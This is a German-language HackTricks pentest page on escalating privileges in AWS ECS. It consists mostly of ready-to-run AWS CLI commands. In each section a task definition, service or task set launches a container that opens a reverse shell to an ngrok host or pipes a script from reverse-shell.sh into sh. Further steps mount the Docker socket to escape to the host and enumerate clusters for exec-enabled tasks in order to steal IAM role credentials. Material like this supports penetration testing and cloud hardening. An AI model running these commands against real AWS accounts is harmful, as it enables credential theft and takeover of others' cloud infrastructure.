AWS - ECS Privesc

Unterstütze HackTricks

ECS

Mehr Infos über ECS in:

AWS - ECS Enum

iam:PassRole, ecs:RegisterTaskDefinition, ecs:RunTask

Ein Angreifer, der die Berechtigungen iam:PassRole, ecs:RegisterTaskDefinition und ecs:RunTask in ECS missbraucht, kann eine neue Task-Definition mit einem bösartigen Container erstellen, der die Metadaten-Anmeldeinformationen stiehlt und ausführt.

# Generate task definition with rev shell
aws ecs register-task-definition --family iam_exfiltration \
--task-role-arn arn:aws:iam::947247140022:role/ecsTaskExecutionRole \
--network-mode "awsvpc" \
--cpu 256 --memory 512\
--requires-compatibilities "[\"FARGATE\"]" \
--container-definitions "[{\"name\":\"exfil_creds\",\"image\":\"python:latest\",\"entryPoint\":[\"sh\", \"-c\"],\"command\":[\"/bin/bash -c \\\"bash -i >& /dev/tcp/0.tcp.ngrok.io/14280 0>&1\\\"\"]}]"

# Run task definition
aws ecs run-task --task-definition iam_exfiltration \
--cluster arn:aws:ecs:eu-west-1:947247140022:cluster/API \
--launch-type FARGATE \
--network-configuration "{\"awsvpcConfiguration\":{\"assignPublicIp\": \"ENABLED\", \"subnets\":[\"subnet-e282f9b8\"]}}"

# Delete task definition
## You need to remove all the versions (:1 is enough if you just created one)
aws ecs deregister-task-definition --task-definition iam_exfiltration:1

Potentieller Einfluss: Direkte Privesc zu einer anderen ECS-Rolle.

iam:PassRole, ecs:RegisterTaskDefinition, ecs:StartTask

Genau wie im vorherigen Beispiel kann ein Angreifer, der die iam:PassRole, ecs:RegisterTaskDefinition, ecs:StartTask Berechtigungen in ECS missbraucht, eine neue Task-Definition mit einem bösartigen Container erstellen, der die Metadaten-Anmeldeinformationen stiehlt und ausführt. In diesem Fall muss jedoch eine Container-Instanz vorhanden sein, um die bösartige Task-Definition auszuführen.

# Generate task definition with rev shell
aws ecs register-task-definition --family iam_exfiltration \
--task-role-arn arn:aws:iam::947247140022:role/ecsTaskExecutionRole \
--network-mode "awsvpc" \
--cpu 256 --memory 512\
--container-definitions "[{\"name\":\"exfil_creds\",\"image\":\"python:latest\",\"entryPoint\":[\"sh\", \"-c\"],\"command\":[\"/bin/bash -c \\\"bash -i >& /dev/tcp/0.tcp.ngrok.io/14280 0>&1\\\"\"]}]"

aws ecs start-task --task-definition iam_exfiltration \
--container-instances <instance_id>

# Delete task definition
## You need to remove all the versions (:1 is enough if you just created one)
aws ecs deregister-task-definition --task-definition iam_exfiltration:1

Potentieller Einfluss: Direkte Privesc zu jeder ECS-Rolle.

iam:PassRole, ecs:RegisterTaskDefinition, (ecs:UpdateService|ecs:CreateService)

Genau wie im vorherigen Beispiel kann ein Angreifer, der die iam:PassRole, ecs:RegisterTaskDefinition, ecs:UpdateService oder ecs:CreateService Berechtigungen in ECS missbraucht, eine neue Task-Definition mit einem bösartigen Container erstellen, der die Metadaten-Anmeldeinformationen stiehlt und sie durch Erstellen eines neuen Dienstes mit mindestens einer laufenden Aufgabe ausführen.

# Generate task definition with rev shell
aws ecs register-task-definition --family iam_exfiltration \
--task-role-arn  "$ECS_ROLE_ARN" \
--network-mode "awsvpc" \
--cpu 256 --memory 512\
--requires-compatibilities "[\"FARGATE\"]" \
--container-definitions "[{\"name\":\"exfil_creds\",\"image\":\"python:latest\",\"entryPoint\":[\"sh\", \"-c\"],\"command\":[\"/bin/bash -c \\\"bash -i >& /dev/tcp/8.tcp.ngrok.io/12378 0>&1\\\"\"]}]"

# Run the task creating a service
aws ecs create-service --service-name exfiltration \
--task-definition iam_exfiltration \
--desired-count 1 \
--cluster "$CLUSTER_ARN" \
--launch-type FARGATE \
--network-configuration "{\"awsvpcConfiguration\":{\"assignPublicIp\": \"ENABLED\", \"subnets\":[\"$SUBNET\"]}}"

# Run the task updating a service
aws ecs update-service --cluster <CLUSTER NAME> \
--service <SERVICE NAME> \
--task-definition <NEW TASK DEFINITION NAME>

Potentieller Einfluss: Direkte Privesc zu jeder ECS-Rolle.

iam:PassRole, (ecs:UpdateService|ecs:CreateService)

Tatsächlich ist es mit diesen Berechtigungen möglich, Overrides zu verwenden, um beliebige Befehle in einem Container mit einer beliebigen Rolle auszuführen, mit etwas wie:

aws ecs run-task \
--task-definition "<task-name>" \
--overrides '{"taskRoleArn":"<role-arn>", "containerOverrides":[{"name":"<container-name-in-task>","command":["/bin/bash","-c","curl https://reverse-shell.sh/6.tcp.eu.ngrok.io:18499 | sh"]}]}' \
--cluster <cluster-name> \
--network-configuration "{\"awsvpcConfiguration\":{\"assignPublicIp\": \"DISABLED\", \"subnets\":[\"<subnet-name>\"]}}"

Potentieller Einfluss: Direkte Privesc zu jeder ECS-Rolle.

ecs:RegisterTaskDefinition, (ecs:RunTask|ecs:StartTask|ecs:UpdateService|ecs:CreateService)

Dieses Szenario ist wie die vorherigen, aber ohne die iam:PassRole Berechtigung. Dies ist immer noch interessant, weil, wenn du einen beliebigen Container ausführen kannst, selbst wenn es ohne Rolle ist, könntest du einen privilegierten Container ausführen, um auf den Knoten zu entkommen und die EC2 IAM-Rolle und die anderen ECS-Container-Rollen zu stehlen, die im Knoten laufen. Du könntest sogar andere Aufgaben zwingen, innerhalb der kompromittierten EC2-Instanz zu laufen, um deren Anmeldeinformationen zu stehlen (wie im Privesc to node Abschnitt besprochen).

Dieser Angriff ist nur möglich, wenn der ECS-Cluster EC2 Instanzen und nicht Fargate verwendet.

printf '[
{
"name":"exfil_creds",
"image":"python:latest",
"entryPoint":["sh", "-c"],
"command":["/bin/bash -c \\\"bash -i >& /dev/tcp/7.tcp.eu.ngrok.io/12976 0>&1\\\""],
"mountPoints": [
{
"readOnly": false,
"containerPath": "/var/run/docker.sock",
"sourceVolume": "docker-socket"
}
]
}
]' > /tmp/task.json

printf '[
{
"name": "docker-socket",
"host": {
"sourcePath": "/var/run/docker.sock"
}
}
]' > /tmp/volumes.json


aws ecs register-task-definition --family iam_exfiltration \
--cpu 256 --memory 512 \
--requires-compatibilities '["EC2"]' \
--container-definitions file:///tmp/task.json \
--volumes file:///tmp/volumes.json


aws ecs run-task --task-definition iam_exfiltration \
--cluster arn:aws:ecs:us-east-1:947247140022:cluster/ecs-takeover-ecs_takeover_cgidc6fgpq6rpg-cluster \
--launch-type EC2

# You will need to do 'apt update' and 'apt install docker.io' to install docker in the rev shell

ecs:ExecuteCommand, ecs:DescribeTasks,(ecs:RunTask|ecs:StartTask|ecs:UpdateService|ecs:CreateService)

Ein Angreifer mit den Berechtigungen ecs:ExecuteCommand, ecs:DescribeTasks kann Befehle ausführen in einem laufenden Container und die IAM-Rolle, die daran angehängt ist, exfiltrieren (die Describe-Berechtigungen sind notwendig, weil aws ecs execute-command ausgeführt werden muss). Allerdings muss die Container-Instanz den ExecuteCommand-Agenten ausführen (was standardmäßig nicht der Fall ist).

Daher könnte der Angreifer versuchen:

  • Versuchen, einen Befehl in jedem laufenden Container auszuführen

# List enableExecuteCommand on each task
for cluster in $(aws ecs list-clusters | jq .clusterArns | grep '"' | cut -d '"' -f2); do
echo "Cluster $cluster"
for task in $(aws ecs list-tasks --cluster "$cluster" | jq .taskArns | grep '"' | cut -d '"' -f2); do
echo "  Task $task"
# If true, it's your lucky day
aws ecs describe-tasks --cluster "$cluster" --tasks "$task" | grep enableExecuteCommand
done
done

# Execute a shell in a container
aws ecs execute-command --interactive \
--command "sh" \
--cluster "$CLUSTER_ARN" \
--task "$TASK_ARN"
  • Wenn er ecs:RunTask hat, führe eine Aufgabe mit aws ecs run-task --enable-execute-command [...] aus.

  • Wenn er ecs:StartTask hat, führe eine Aufgabe mit aws ecs start-task --enable-execute-command [...] aus.

  • Wenn er ecs:CreateService hat, erstelle einen Dienst mit aws ecs create-service --enable-execute-command [...].

  • Wenn er ecs:UpdateService hat, aktualisiere einen Dienst mit aws ecs update-service --enable-execute-command [...].

Du findest Beispiele für diese Optionen in vorherigen ECS privesc Abschnitten.

Potenzielle Auswirkung: Privesc zu einer anderen Rolle, die Containern zugewiesen ist.

ssm:StartSession

Überprüfe auf der ssm privesc Seite, wie du diese Berechtigung missbrauchen kannst, um privesc zu ECS:

AWS - SSM Privesc

iam:PassRole, ec2:RunInstances

Überprüfe auf der ec2 privesc Seite, wie du diese Berechtigungen missbrauchen kannst, um privesc zu ECS:

AWS - EC2 Privesc

?ecs:RegisterContainerInstance

TODO: Ist es möglich, eine Instanz von einem anderen AWS-Konto zu registrieren, sodass Aufgaben unter Maschinen ausgeführt werden, die vom Angreifer kontrolliert werden??

ecs:CreateTaskSet, ecs:UpdateServicePrimaryTaskSet, ecs:DescribeTaskSets

TODO: Teste dies

Ein Angreifer mit den Berechtigungen ecs:CreateTaskSet, ecs:UpdateServicePrimaryTaskSet und ecs:DescribeTaskSets kann ein bösartiges Task-Set für einen bestehenden ECS-Dienst erstellen und das primäre Task-Set aktualisieren. Dies ermöglicht dem Angreifer, beliebigen Code innerhalb des Dienstes auszuführen.

bashCopy code# Register a task definition with a reverse shell
echo '{
"family": "malicious-task",
"containerDefinitions": [
{
"name": "malicious-container",
"image": "alpine",
"command": [
"sh",
"-c",
"apk add --update curl && curl https://reverse-shell.sh/2.tcp.ngrok.io:14510 | sh"
]
}
]
}' > malicious-task-definition.json

aws ecs register-task-definition --cli-input-json file://malicious-task-definition.json

# Create a malicious task set for the existing service
aws ecs create-task-set --cluster existing-cluster --service existing-service --task-definition malicious-task --network-configuration "awsvpcConfiguration={subnets=[subnet-0e2b3f6c],securityGroups=[sg-0f9a6a76],assignPublicIp=ENABLED}"

# Update the primary task set for the service
aws ecs update-service-primary-task-set --cluster existing-cluster --service existing-service --primary-task-set arn:aws:ecs:region:123456789012:task-set/existing-cluster/existing-service/malicious-task-set-id

Potentieller Einfluss: Ausführung von beliebigem Code im betroffenen Dienst, was möglicherweise seine Funktionalität beeinträchtigt oder sensible Daten exfiltriert.

Referenzen

Unterstütze HackTricks

Last updated